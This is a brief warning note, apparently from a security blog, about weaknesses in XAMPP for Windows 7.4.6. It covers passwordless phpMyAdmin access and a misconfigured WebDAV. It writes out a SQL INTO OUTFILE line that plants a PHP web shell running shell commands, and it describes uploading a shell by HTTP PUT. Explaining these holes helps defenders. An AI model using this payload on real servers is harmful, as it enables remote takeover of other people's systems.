Older XAMPP versions allowed access to phpMyAdmin without a password or with the default root/blank password. The exploit script sends: GET /phpmyadmin/index.php HTTP/1.1 If the setup is vulnerable, the attacker executes SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/shell.php" .

XAMPP for Windows 7.4.6 often came with mod_dav enabled and misconfigured httpd-dav.conf . An attacker uses PUT /shell.php over WebDAV to upload a webshell directly.

If you are still running this version, you are not "retro" – you are a waiting victim.